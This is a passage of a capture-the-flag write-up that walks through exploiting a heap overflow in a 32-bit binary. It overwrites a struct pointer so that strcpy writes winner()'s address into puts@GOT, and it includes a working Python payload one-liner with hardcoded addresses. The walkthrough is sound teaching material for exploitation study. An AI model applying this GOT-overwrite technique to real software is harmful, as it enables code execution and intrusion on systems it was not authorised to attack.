&lt;p&gt;Before touching any exploitation tool, we always want to understand the binary at a fundamental level. The &lt;code&gt;file&lt;/code&gt; command reads the ELF header and reports critical metadata.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;file vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2,
BuildID[sha1]=108856df2d26e74aacfc1784d9c06d0aacceb988,
for GNU/Linux 3.2.0, not stripped
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking it down — what each piece tells us:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ELF 32-bit LSB&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;32-bit little-endian binary&lt;/td&gt;
&lt;td&gt;Addresses are 4 bytes wide; we pack them in little-endian byte order&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Intel 80386&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;x86 architecture&lt;/td&gt;
&lt;td&gt;Determines calling conventions and register names&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;dynamically linked&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Uses shared libraries (libc, etc.)&lt;/td&gt;
&lt;td&gt;The GOT/PLT mechanism exists and is potentially exploitable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;not stripped&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Symbol names are preserved&lt;/td&gt;
&lt;td&gt;Function names like &lt;code&gt;winner()&lt;/code&gt; are visible in the binary — a huge help&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Beginner Tip:&lt;/strong&gt; "Not stripped" is a gift in CTFs. It means the binary still contains its symbol table — essentially a map of function names and their addresses. Stripped binaries remove this, forcing you to reverse-engineer without labels.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.2 Security Mitigations — &lt;code&gt;checksec&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Next, we check what &lt;strong&gt;security mitigations&lt;/strong&gt; the binary was compiled with. These protections exist to make exploitation harder, and knowing which ones are present (or absent) shapes our entire strategy.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;checksec &lt;span class="nt"&gt;--file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Partial RELRO | No canary | NX enabled | No PIE | No RPATH | No RUNPATH
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down each mitigation:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mitigation&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Implication&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RELRO&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Partial&lt;/td&gt;
&lt;td&gt;The GOT (Global Offset Table) is &lt;strong&gt;writable&lt;/strong&gt; — this is our attack surface&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Stack Canary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Absent&lt;/td&gt;
&lt;td&gt;No secret value guarding the stack — stack/heap overflows won't be detected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NX (No-eXecute)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enabled&lt;/td&gt;
&lt;td&gt;The stack and heap are &lt;strong&gt;not executable&lt;/strong&gt; — we cannot inject shellcode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PIE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Disabled&lt;/td&gt;
&lt;td&gt;The binary loads at &lt;strong&gt;fixed addresses&lt;/strong&gt; every time — no randomization to defeat&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why does Partial RELRO matter?&lt;/strong&gt; RELRO (Relocation Read-Only) controls whether the GOT is marked read-only after startup. With &lt;strong&gt;Full RELRO&lt;/strong&gt;, the GOT becomes read-only and we cannot overwrite it. With &lt;strong&gt;Partial RELRO&lt;/strong&gt;, the GOT stays writable — meaning we can redirect any library function call to an address of our choosing.&lt;/p&gt;

&lt;p&gt;💡 &lt;strong&gt;Why does No PIE matter?&lt;/strong&gt; PIE (Position Independent Executable) randomizes where the binary loads in memory each run. Without PIE, &lt;code&gt;winner()&lt;/code&gt; is always at the same address. This is crucial — our exploit needs to hardcode that address.&lt;/p&gt;

&lt;p&gt;⚠️ &lt;strong&gt;The Road Not Taken — Shellcode Injection:&lt;/strong&gt;&lt;br&gt;
A beginner might think: "There's a buffer overflow, let me inject shellcode!" — NX enabled kills that idea entirely. The heap and stack are marked non-executable by the kernel. Even if we overflowed perfectly, the CPU would refuse to execute our shellcode and raise a segfault. We need a &lt;strong&gt;code-reuse&lt;/strong&gt; strategy instead (using existing code already in the binary).&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.3 Reading the Source Code — &lt;code&gt;cat&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The challenge provided source code (&lt;code&gt;vuln.c&lt;/code&gt;). In real-world engagements you rarely have this luxury, but in CTFs it's sometimes provided. Always read it carefully — it's the single most valuable artifact.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;vuln.c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The critical struct:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;internet&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;priority&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;        &lt;span class="c1"&gt;// 4 bytes&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;          &lt;span class="c1"&gt;// 4 bytes (pointer to heap buffer)&lt;/span&gt;
    &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)();&lt;/span&gt;  &lt;span class="c1"&gt;// 4 bytes (function pointer!)&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;What is a function pointer?&lt;/strong&gt; A function pointer is a variable that stores the &lt;strong&gt;memory address of a function&lt;/strong&gt;. When the program executes &lt;code&gt;i1-&amp;gt;callback()&lt;/code&gt;, it jumps to whatever address is stored in &lt;code&gt;callback&lt;/code&gt;. If we can overwrite that address with &lt;code&gt;winner()&lt;/code&gt;, we win. This is a common binary exploitation primitive.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The vulnerable code:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// Allocates only 8 bytes&lt;/span&gt;
&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;  &lt;span class="c1"&gt;// Copies argv[1] with NO length check!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Why is &lt;code&gt;strcpy()&lt;/code&gt; dangerous here?&lt;/strong&gt; &lt;code&gt;strcpy()&lt;/code&gt; copies bytes from source to destination until it hits a null terminator (&lt;code&gt;\0&lt;/code&gt;). It performs &lt;strong&gt;zero bounds checking&lt;/strong&gt;. If &lt;code&gt;argv[1]&lt;/code&gt; is longer than 8 bytes, &lt;code&gt;strcpy()&lt;/code&gt; happily writes beyond the allocated buffer, overwriting whatever is adjacent in memory. This is the heap overflow.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;The hidden function:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;winner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Opens flag.txt and prints it&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The execution check:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;callback&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is our trigger — if we can get a non-NULL value into a callback pointer, the program calls it.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.4 Finding &lt;code&gt;winner()&lt;/code&gt;'s Address — &lt;code&gt;objdump&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Since PIE is disabled, &lt;code&gt;winner()&lt;/code&gt; has a fixed address. We use &lt;code&gt;objdump&lt;/code&gt; to find it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; vuln | &lt;span class="nb"&gt;grep &lt;/span&gt;winner
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="err"&gt;080492&lt;/span&gt;&lt;span class="nf"&gt;b6&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;winner&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down the command:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;objdump&lt;/code&gt; — disassembler and object file analyzer&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-d&lt;/code&gt; — disassemble executable sections (shows us the actual assembly code)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;| grep winner&lt;/code&gt; — filter output to only lines mentioning &lt;code&gt;winner&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;winner()&lt;/code&gt; lives at &lt;code&gt;0x080492b6&lt;/code&gt; — permanently, every single run.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.5 Finding &lt;code&gt;puts@GOT&lt;/code&gt; — &lt;code&gt;objdump -R&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The hint specifically mentioned &lt;code&gt;objdump -R&lt;/code&gt; and &lt;code&gt;puts&lt;/code&gt;. Let's understand why.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-R&lt;/span&gt; vuln | &lt;span class="nb"&gt;grep &lt;/span&gt;puts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight nasm"&gt;&lt;code&gt;&lt;span class="err"&gt;0804&lt;/span&gt;&lt;span class="nf"&gt;c028&lt;/span&gt; &lt;span class="nv"&gt;R_386_JUMP_SLOT&lt;/span&gt;   &lt;span class="nv"&gt;puts@GLIBC_2.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down the command:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-R&lt;/code&gt; — display &lt;strong&gt;dynamic relocations&lt;/strong&gt; (entries in the GOT/PLT that point to shared library functions)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;R_386_JUMP_SLOT&lt;/code&gt; — this is a GOT entry that gets filled at runtime with the real address of &lt;code&gt;puts()&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Why &lt;code&gt;puts&lt;/code&gt; specifically?&lt;/strong&gt;&lt;br&gt;
GCC often optimizes &lt;code&gt;printf("some string\n")&lt;/code&gt; calls (with no format arguments) into &lt;code&gt;puts("some string")&lt;/code&gt; for efficiency. The final line:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"No winners this time, try again!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;...is compiled as a call to &lt;code&gt;puts()&lt;/code&gt;. If we overwrite &lt;code&gt;puts@GOT&lt;/code&gt; with &lt;code&gt;winner()&lt;/code&gt;'s address, this final printf will call &lt;code&gt;winner()&lt;/code&gt; instead!&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;How the GOT works:&lt;/strong&gt; When a dynamically linked binary calls &lt;code&gt;puts()&lt;/code&gt; for the first time, the dynamic linker resolves the real address and writes it into the GOT entry at &lt;code&gt;0x0804c028&lt;/code&gt;. Every subsequent call reads from this GOT entry. With Partial RELRO, this entry is &lt;strong&gt;writable&lt;/strong&gt; — so we can replace it with any address we want.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  2.6 Mapping the Heap Layout — &lt;code&gt;ltrace&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;We need to know the &lt;strong&gt;exact memory layout&lt;/strong&gt; of our heap allocations to calculate the overflow offset precisely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod&lt;/span&gt; +x vuln &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ltrace &lt;span class="nt"&gt;-e&lt;/span&gt; malloc ./vuln A B
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down the command:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;chmod +x vuln&lt;/code&gt; — grants execute permission to the binary&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ltrace&lt;/code&gt; — intercepts and logs &lt;strong&gt;library function calls&lt;/strong&gt; at runtime&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-e malloc&lt;/code&gt; — filter to only show &lt;code&gt;malloc()&lt;/code&gt; calls (reduces noise)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Output:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vuln-&amp;gt;malloc(12) = 0x9bf15b0   ← i1 struct
vuln-&amp;gt;malloc(8)  = 0x9bf15c0   ← i1-&amp;gt;name  (argv[1] written here)
vuln-&amp;gt;malloc(12) = 0x9bf15d0   ← i2 struct
vuln-&amp;gt;malloc(8)  = 0x9bf15e0   ← i2-&amp;gt;name
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Visualizing the heap:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Address      Content                     Size
─────────────────────────────────────────────────────
0x9bf15b0    [i1: priority | name* | callback*]  12 bytes
0x9bf15c0    [i1-&amp;gt;name buffer: 8 bytes]           ← OVERFLOW STARTS HERE
0x9bf15c8    [heap chunk metadata]                8 bytes (malloc overhead)
0x9bf15d0    [i2: priority(4) | name*(4) | callback*(4)]  12 bytes
             ┌──────────────────────────────┐
             │ +0x00: priority (4 bytes)    │
             │ +0x04: name pointer (4 bytes)│ ← TARGET: 0x9bf15d4
             │ +0x08: callback (4 bytes)    │
             └──────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Calculating the offset:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Target address (i2-&amp;gt;name pointer): 0x9bf15d4
Start of overflow buffer (i1-&amp;gt;name): 0x9bf15c0
─────────────────────────────────────────────
Offset: 0x9bf15d4 - 0x9bf15c0 = 0x14 = 20 bytes
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We need &lt;strong&gt;20 bytes of padding&lt;/strong&gt; in &lt;code&gt;argv[1]&lt;/code&gt; before writing our target address.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;⚠️ &lt;strong&gt;The Road Not Taken — Overwriting &lt;code&gt;i2-&amp;gt;callback&lt;/code&gt; Directly:&lt;/strong&gt;&lt;br&gt;
Your first instinct might be: "Why not just overflow all the way to &lt;code&gt;i2-&amp;gt;callback&lt;/code&gt; and put &lt;code&gt;winner()&lt;/code&gt;'s address there?" The problem is that &lt;code&gt;i2-&amp;gt;callback&lt;/code&gt; sits at offset &lt;code&gt;+0x08&lt;/code&gt; within the i2 struct — but &lt;code&gt;i2-&amp;gt;name&lt;/code&gt; is at &lt;code&gt;+0x04&lt;/code&gt;. If we corrupt &lt;code&gt;i2-&amp;gt;name&lt;/code&gt; with garbage, then &lt;code&gt;strcpy(i2-&amp;gt;name, argv[2])&lt;/code&gt; will try to write &lt;code&gt;argv[2]&lt;/code&gt; to a garbage address, causing a &lt;strong&gt;segfault before our callback is ever reached&lt;/strong&gt;. We need to control &lt;code&gt;i2-&amp;gt;name&lt;/code&gt; carefully, not destroy it.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Initial Foothold (Exploitation)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Full Exploit Strategy
&lt;/h3&gt;

&lt;p&gt;Now we assemble everything into a coherent attack chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;argv[1] = [20 bytes padding] + [puts@GOT address: 0x0804c028]
           ↑                    ↑
           Fills i1-&amp;gt;name       Overwrites i2-&amp;gt;name pointer
           buffer + padding     to point at puts@GOT

argv[2] = [winner() address: 0x080492b6]
           ↑
           Gets written into puts@GOT via strcpy(i2-&amp;gt;name, argv[2])
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Execution flow after exploit:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i1&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Overflows&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sets&lt;/span&gt; &lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x0804c028&lt;/span&gt;
&lt;span class="n"&gt;strcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;  &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Writes&lt;/span&gt; &lt;span class="mh"&gt;0x080492b6&lt;/span&gt; &lt;span class="n"&gt;into&lt;/span&gt; &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="n"&gt;GOT&lt;/span&gt;
&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"No winners..."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Compiled&lt;/span&gt; &lt;span class="n"&gt;as&lt;/span&gt; &lt;span class="n"&gt;puts&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;jumps&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;winner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;span class="n"&gt;winner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                   &lt;span class="err"&gt;→&lt;/span&gt; &lt;span class="n"&gt;Opens&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;prints&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;💡 &lt;strong&gt;Little-endian byte ordering:&lt;/strong&gt; On x86 (little-endian), multi-byte values are stored with the &lt;strong&gt;least significant byte first&lt;/strong&gt;. So address &lt;code&gt;0x0804c028&lt;/code&gt; becomes bytes &lt;code&gt;\x28\xc0\x04\x08&lt;/code&gt; in memory. This is why our Python payload reverses the byte order.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  3.2 Local Test
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./vuln &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; sys.stdout.buffer.write(b'A'*20 + b'&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;28&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;c0&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;04&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;08')"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
       &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"import sys; sys.stdout.buffer.write(b'&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;b6&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;92&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;04&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="s2"&gt;08')"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Breaking down the payload construction:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;python3 -c "..."&lt;/code&gt; — runs a Python one-liner&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sys.stdout.buffer.write()&lt;/code&gt; — writes raw bytes (critical! Using &lt;code&gt;print()&lt;/code&gt; would add a newline and potentially corrupt the payload)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;b'A'*20&lt;/code&gt; — 20 bytes of padding to reach the &lt;code&gt;i2-&amp;gt;name&lt;/code&gt; pointer&lt;/li&gt;
&lt;li&gt;
